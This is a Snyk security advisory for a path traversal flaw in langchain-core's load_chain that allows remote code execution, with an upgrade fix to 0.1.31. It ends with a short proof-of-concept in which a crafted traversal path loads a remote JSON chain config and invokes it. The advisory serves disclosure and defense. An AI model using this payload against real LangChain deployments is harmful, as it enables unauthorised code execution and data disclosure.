Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade langchain-core
to version 0.1.31 or higher.
langchain-core is a Building applications with LLMs through composability
Affected versions of this package are vulnerable to Path Traversal due to improper validation of user-supplied input in the load_chain
call. An attacker can achieve remote code execution or disclose sensitive information by manipulating the path parameter to traverse directories and load configurations or execute code not intended by the application.
Notes:
This is only exploitable if the attacker can control the final part of the path parameter.
llm_bash_chain
is an experimental feature.
from langchain_core.prompts import load_prompt
from langchain.chains import load_chain
malicious_path = 'lc@ANYTHING://chains/../../../../../../../../../PinkDraconian/PoC/main/poc_rce.json'
chain = load_chain(malicious_path)
print(chain.invoke("ANYTHING"))